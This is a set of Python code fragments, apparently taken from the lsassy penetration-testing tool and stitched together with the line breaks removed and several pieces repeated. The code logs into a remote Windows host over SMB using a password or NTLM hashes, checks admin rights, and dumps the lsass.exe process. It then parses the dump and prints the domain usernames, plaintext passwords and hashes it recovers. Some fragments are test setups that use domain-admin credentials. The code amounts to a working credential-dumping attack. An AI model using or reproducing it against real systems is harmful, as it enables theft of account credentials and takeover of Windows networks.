def __init__(self, hostname, username, domain="", password="", lmhash="", nthash="", log_options=Logger.Options(), dump_options=Dumper.Options(), parse_options=Parser.Options(), write_options=Writer.Options()): self.conn_options = ImpacketConnection.Options(hostname, domain, username, password, lmhash, nthash) self.log_options = log_options self.dump_options = dump_options self.parse_options = parse_options self.write_options = write_options self._target = hostname self._log = Logger(self._target, log_options) self._conn = None self._dumper = None self._parser = None self._dumpfile = None self._credentials = [] self._writer = None
def setUp(self): self.log = Logger(Logger.Options(verbosity=0, quiet=True)) self.conn = ImpacketConnection( ImpacketConnection.Options(target, domain, da_login, da_password)) self.conn.set_logger(self.log) self.conn.login() self.ifile = ImpacketFile(self.conn, self.log)
def get_credentials(self): self.log_options.quiet = True self.log_options.verbosity = False self._log = Logger(self._target, self.log_options) self.write_options.format = "none" self.run() return self._credentials
def setUp(self): self.log = Logger(Logger.Options(verbosity=0, quiet=True)) self.conn = ImpacketConnection( ImpacketConnection.Options(ip_address_protected, domain, da_login, da_password)) self.conn.set_logger(self.log) self.conn.login()
def __init__(self, options: Options): self.options = options self.hostname = options.hostname self.domain_name = options.domain_name self.username = options.username self.password = options.password self.lmhash = options.lmhash self.nthash = options.nthash self.timeout = options.timeout self._log = Logger(self.hostname) self._conn = None
def get_credentials(self): self.log_options.quiet = True self.log_options.verbosity = False self._log = Logger(self._target, self.log_options) self.write_options.format = "none" return_code = self.run() ret = {"success": True, "credentials": self._credentials} if not return_code.success(): ret["success"] = False ret["error_code"] = return_code.error_code ret["error_msg"] = return_code.error_msg ret["error_exception"] = return_code.error_exception return ret
def get_output(self): output = "" if self._format == "json": json_output = {} for cred in self._credentials: ssp, domain, username, password, lmhash, nthash = cred domain = Writer._decode(domain) username = Writer._decode(username) password = Writer._decode(password) if domain not in json_output: json_output[domain] = {} if username not in json_output[domain]: json_output[domain][username] = [] credential = { "password": password, "lmhash": lmhash, "nthash": nthash } if credential not in json_output[domain][username]: json_output[domain][username].append(credential) output = json.dumps(json_output) + "\n" elif self._format == "grep": credentials = set() for cred in self._credentials: credentials.add('\t'.join([Writer._decode(c) if c is not None else '' for c in cred])) output = "\n".join(cred for cred in credentials) + "\n" elif self._format == "pretty": if len(self._credentials) == 0: self._log.warn('No credentials found') output = "No credentials" else: max_size = max(len(c[1]) + len(c[2]) for c in self._credentials) credentials = [] for cred in self._credentials: ssp, domain, username, password, lmhash, nthash = cred domain = Writer._decode(domain) username = Writer._decode(username) password = Writer._decode(password) if password is None: password = '******'.join(h for h in [lmhash, nthash] if h is not None) if [domain, username, password] not in credentials: credentials.append([domain, username, password]) output += self._log.success( "{}\\{}{}{}".format( domain, username, " " * (max_size - len(domain) - len(username) + 2), Logger.highlight(password)), output=False ) + "\n" elif self._format == "none": pass else: return RetCode(ERROR_OUTPUT_FORMAT_INVALID, Exception("Output format {} is not valid".format(self._format))) return output
def __init__(self, target): self.conn_options = ImpacketConnection.Options() self.log_options = Logger.Options() self.dump_options = Dumper.Options() self.parse_options = Parser.Options() self.write_options = Writer.Options() self.lsassy = None self.target = target
def setUp(self): log_options = Logger.Options(verbosity=0, quiet=True) write_options = Writer.Options(format="none") self.lsassy = Lsassy(target, da_login, domain, da_password, log_options=log_options, write_options=write_options)
class Lsassy: def __init__(self, hostname, username, domain="", password="", lmhash="", nthash="", log_options=Logger.Options(), dump_options=Dumper.Options(), parse_options=Parser.Options(), write_options=Writer.Options()): self.conn_options = ImpacketConnection.Options(hostname, domain, username, password, lmhash, nthash) self.log_options = log_options self.dump_options = dump_options self.parse_options = parse_options self.write_options = write_options self._target = hostname self._log = Logger(self._target, log_options) self._conn = None self._dumper = None self._parser = None self._dumpfile = None self._credentials = [] self._writer = None def connect(self, options: ImpacketConnection.Options): self._conn = ImpacketConnection(options) self._conn.set_logger(self._log) login_result = self._conn.login() if not login_result.success(): return login_result self._log.info("Authenticated") return RetCode(ERROR_SUCCESS) def dump_lsass(self, options=Dumper.Options()): is_admin = self._conn.isadmin() if not is_admin.success(): self._conn.close() return is_admin self._dumper = Dumper(self._conn, options) dump_result = self._dumper.dump() if not dump_result.success(): return dump_result self._dumpfile = self._dumper.getfile() self._log.info("Process lsass.exe has been dumped") return RetCode(ERROR_SUCCESS) def parse_lsass(self, options=Dumper.Options()): self._parser = Parser(self._dumpfile, options) parse_result = self._parser.parse() if not parse_result.success(): return parse_result self._credentials = self._parser.get_credentials() self._log.info("Process lsass.exe has been parsed") return RetCode(ERROR_SUCCESS) def write_credentials(self, options=Writer.Options()): self._writer = Writer(self._target, self._credentials, self._log, options) write_result = self._writer.write() if not write_result.success(): return write_result return RetCode(ERROR_SUCCESS) def clean(self): if self._parser: r = self._parser.clean() if not r.success(): lsassy_warn(self._log, r) if self._dumper: r = self._dumper.clean() if not r.success(): lsassy_warn(self._log, r) if self._conn: r = self._conn.clean() if not r.success(): lsassy_warn(self._log, r) self._log.info("Cleaning complete") def get_credentials(self): self.log_options.quiet = True self.log_options.verbosity = False self._log = Logger(self._target, self.log_options) self.write_options.format = "none" return_code = self.run() ret = {"success": True, "credentials": self._credentials} if not return_code.success(): ret["success"] = False ret["error_code"] = return_code.error_code ret["error_msg"] = return_code.error_msg ret["error_exception"] = return_code.error_exception return ret def run(self): return_code = ERROR_UNDEFINED try: return_code = self._run() except KeyboardInterrupt as e: print("") self._log.warn("Quitting gracefully...") return_code = RetCode(ERROR_USER_INTERRUPTION) except Exception as e: return_code = RetCode(ERROR_UNDEFINED, e) finally: self.clean() lsassy_exit(self._log, return_code) return return_code def _run(self): """ Extract hashes from arguments """ r = self.connect(self.conn_options) if not r.success(): return r r = self.dump_lsass(self.dump_options) if not r.success(): return r r = self.parse_lsass(self.parse_options) if not r.success(): return r r = self.write_credentials(self.write_options) if not r.success(): return r return RetCode(ERROR_SUCCESS)
def setUp(self): self.log = Logger(Logger.Options(verbosity=0, quiet=True)) self.conn = None
class ImpacketConnection: class Options: def __init__(self, hostname="", domain_name="", username="", password="", lmhash="", nthash="", kerberos=False, aesKey="", dc_ip=None, timeout=5): self.hostname = hostname self.domain_name = domain_name self.username = username self.password = password self.lmhash = lmhash self.nthash = nthash self.timeout = timeout self.kerberos = kerberos self.aesKey = aesKey self.dc_ip = dc_ip def __init__(self, options: Options): self.options = options self.hostname = options.hostname self.domain_name = options.domain_name self.username = options.username self.password = options.password self.lmhash = options.lmhash self.nthash = options.nthash self.kerberos = options.kerberos self.aesKey = options.aesKey self.dc_ip = options.dc_ip self.timeout = options.timeout self._log = Logger(self.hostname) self._conn = None def get_logger(self): return self._log def set_logger(self, logger): self._log = logger def login(self): try: ip = list({ addr[-1][0] for addr in getaddrinfo(self.hostname, 0, 0, 0, 0) })[0] if ip != self.hostname: self._log.debug("Host {} resolved to {}".format( self.hostname, ip)) except gaierror as e: return RetCode(ERROR_DNS_ERROR, e) try: self._conn = SMBConnection(self.hostname, ip, timeout=self.timeout) except Exception as e: return RetCode(ERROR_CONNECTION_ERROR, e) username = '' if not self.kerberos: username = self.username.split("@")[0] self._log.debug("Authenticating against {}".format(ip)) else: self._log.debug("Authenticating against {}".format(self.hostname)) try: if not self.kerberos: self._conn.login(username, self.password, domain=self.domain_name, lmhash=self.lmhash, nthash=self.nthash, ntlmFallback=True) else: self._conn.kerberosLogin(username, self.password, domain=self.domain_name, lmhash=self.lmhash, nthash=self.nthash, aesKey=self.aesKey, kdcHost=self.dc_ip) except SessionError as e: self._log.debug("Provided credentials : {}\\{}:{}".format( self.domain_name, username, self.password)) return RetCode(ERROR_LOGIN_FAILURE, e) except KerberosException as e: self._log.debug("Kerberos error") return RetCode(ERROR_LOGIN_FAILURE, e) except Exception as e: return RetCode(ERROR_UNDEFINED, e) return RetCode(ERROR_SUCCESS) def connectTree(self, share_name): return self._conn.connectTree(share_name) def openFile(self, tid, fpath, timeout: int = 3): self._log.debug("Opening file {}".format(fpath)) start = time.time() while True: try: fid = self._conn.openFile(tid, fpath, desiredAccess=FILE_READ_DATA) self._log.debug("File {} opened".format(fpath)) return fid except Exception as e: if str(e).find('STATUS_SHARING_VIOLATION') >= 0 or str(e).find( 'STATUS_OBJECT_NAME_NOT_FOUND') >= 0: # Output not finished, let's wait if time.time() - start > timeout: raise (Exception(e)) time.sleep(1) else: raise Exception(e) def queryInfo(self, tid, fid): while True: try: info = self._conn.queryInfo(tid, fid) return info except Exception as e: if str(e).find('STATUS_SHARING_VIOLATION') >= 0: # Output not finished, let's wait time.sleep(2) else: raise Exception(e) def getFile(self, share_name, path_name, callback): while True: try: self._conn.getFile(share_name, path_name, callback) break except Exception as e: if str(e).find('STATUS_SHARING_VIOLATION') >= 0: # Output not finished, let's wait time.sleep(2) else: raise Exception(e) def deleteFile(self, share_name, path_name): while True: try: self._conn.deleteFile(share_name, path_name) self._log.debug("File {} deleted".format(path_name)) break except Exception as e: if str(e).find('STATUS_SHARING_VIOLATION') >= 0: time.sleep(2) else: raise Exception(e) def putFile(self, share_name, path_name, callback): try: self._conn.putFile(share_name, path_name, callback) self._log.debug("File {} uploaded".format(path_name)) except Exception as e: raise Exception( "An error occured while uploading %s on %s share : %s" % (path_name, share_name, e)) def readFile(self, tid, fid, offset, size): return self._conn.readFile(tid, fid, offset, size, singleCall=False) def closeFile(self, tid, fid): return self._conn.closeFile(tid, fid) def disconnectTree(self, tid): return self._conn.disconnectTree(tid) def isadmin(self): try: self.connectTree("C$") return RetCode(ERROR_SUCCESS) except Exception as e: return RetCode(ERROR_ACCESS_DENIED, e) def close(self): if self._conn is not None: self._log.debug("Closing Impacket connection") self._conn.close() def clean(self): try: self.close() return RetCode(ERROR_SUCCESS) except Exception as e: return RetCode(ERROR_CONNECTION_CLEANING, e)
def write(self): if self._file: ret = self.write_file() if not ret.success(): lsassy_warn(self._log, ret) else: self._log.info("Credentials saved to {}".format(self._file)) if self._format == "json": json_output = {} for cred in self._credentials: ssp, domain, username, password, lmhash, nthash = cred domain = Writer._decode(domain) username = Writer._decode(username) password = Writer._decode(password) if domain not in json_output: json_output[domain] = {} if username not in json_output[domain]: json_output[domain][username] = [] credential = { "password": password, "lmhash": lmhash, "nthash": nthash } if credential not in json_output[domain][username]: json_output[domain][username].append(credential) print(json.dumps(json_output), end='') elif self._format == "grep": credentials = set() for cred in self._credentials: credentials.add('\t'.join([Writer._decode(c) if c is not None else '' for c in cred])) for cred in credentials: print(cred) elif self._format == "pretty": if len(self._credentials) == 0: self._log.warn('No credentials found') return RetCode(ERROR_NO_CREDENTIAL_FOUND) max_size = max(len(c[1]) + len(c[2]) for c in self._credentials) credentials = [] for cred in self._credentials: ssp, domain, username, password, lmhash, nthash = cred domain = Writer._decode(domain) username = Writer._decode(username) password = Writer._decode(password) if password is None: password = '******'.join(h for h in [lmhash, nthash] if h is not None) if [domain, username, password] not in credentials: credentials.append([domain, username, password]) self._log.success( "{}\\{}{}{}".format( domain, username, " " * (max_size - len(domain) - len(username) + 2), Logger.highlight(password)) ) elif self._format == "none": pass else: return RetCode(ERROR_OUTPUT_FORMAT_INVALID, Exception("Output format {} is not valid".format(self._format))) return RetCode(ERROR_SUCCESS)